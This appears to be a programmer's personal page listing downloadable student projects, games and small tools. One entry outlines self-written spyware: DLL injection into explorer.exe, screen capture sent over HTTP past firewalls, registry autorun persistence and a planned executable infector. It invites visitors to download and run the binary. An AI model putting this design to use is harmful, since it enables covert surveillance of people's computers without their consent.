downloading...

1. The following downloading items are mostly done by myself. In the case of team-working, I am usually the leading programmer in a team.

2. Some projects involve with multiple versions which reflects the evolution of thinking.

3. You are free to download and modify at your wish.

4. Some small tools are collected by myself from internet for my personal usage and I am not responsible for them.

กก

Intuitive, but kept as records(These are things written when I am naive...)

1. MyTree

2. Square root by MASM

3.Square root by MASM (improved)

4. Assembly assignment

5.  input of LogicMatrix

6. output of LogicMatrix

7. chessboard

8. source code of chessboard(cheating)

9. head of Logic lib

10.cpp of Logic lib

11.Logic library file

12.Assembly assignment (final verstion)     (win98 OK, XP cannot see mouse)

13.input matrix of shortest path (Dijkstra).   

14. Result of Shuffle

15. input of minimum DFA

16. input of Scanner

17. input of CGReader

18. input for strange dictionary

19. input for testing strange dictionary

20. WordRover experience

21. Manual of comp346

22. Moon-Machine

23. My compiler project

27. Dependency

28.  24game

29.  knight's tour

30.  data for Maze

Project Downloading List (These are things when I am growing up...)

1. CFGReader (automatic parsing tools, like a kind of compiler-compiler)

2. Chopper2005(An OpenGL 3D flying simulation + shooting game + multimedia)

3. My-GDI-SDK(My own experiment with GDI, some little tools and lots of playing funs.)

4. MyHTTP-server+MySQL(Using httpAPI + MySQL C-API, a pure C implementation, targeting binary data reading)

5. MySQL tools( MySQL client C-API-based image processing tools.)

6. Primary-backup(fault-tolerant CORBA server)

7. QAR(Quebec Auto Repairshop, a web-based database application with multiple tools and queries)

8. Scheme-AI (functional-programming, AI chess game)

9. WordRover(A console GUI chess game, purely object-oriented, software engineering project)

************************************************************************************************************

10. Stable version of "HttpServer"(UTF16) + MySql-picture-preprocessing-tools + Httpclient(web-spider)-picture-collector

11. my_first_spyware

(This is a group of projects and they are my first spyware or trojen if I could call it that way.

server:

a) bigbrother-- a html file server accept post and get which allow client to send user PC screen image in jpeg format.

client:

a) staticIJG-- a little wrapper for IJG open-source project which compress BMP to jpeg. It compiles static lib for easy linking.

b) InjectDll.exe-- a program inserting dll into "explorer.exe".

c) mypeekdll.dll -- a dll to be inserted into "explorer.exe". It catches snapshots of PC screen and convert into jpeg to send to server by http protocol to avoid firewall. Also it keeps a image of "injectdll.exe" in its resource in order for auto run when dll is unloaded. It writes autorun in registry and unload "injectdll.exe" from its resource into file.

d) thunk.exe -- a loader to load both injectdll.exe and mypeekdll.dll from its resource and then create process to run injectdll.exe

To give it a try, download binary and run it. I guarantee that your information will not be used for any profitable activity by me.    

---------------------------------------------------------------------------------------------------------------------

improvement:

1. add a new "injector" project which injects "thunkwrapper" into designated executable file.

2. add a new "thunkwrapper" project to be placeholder of both "thunk" and "hosted" or "infected" executables.

status: still in debugging and testing.

compiling tips: need "platformSDK2003" for generating UUID as temp file name.

running tips: injectdll.exe run to inject if "mypeekdll.dll" is not injected, or uninject "mypeekdll.dll" if it is already injected.

Little Tools Downloading List (These are things too trivial to be mentioned...)

1. md5 generator(downloaded md5 code + file-open-dlg, I think it handy.)

2. md5 generator: now it can calculate any size of file, >=2G as long as NTFS supports. Internally the file mapping is buffered to only 16M at any moment. Here is the binary to test. (Don't worry, this one is not trojen.)
3. AES encryption with instruction set "AES" support from CPU. This is where it comes from.

กก

กก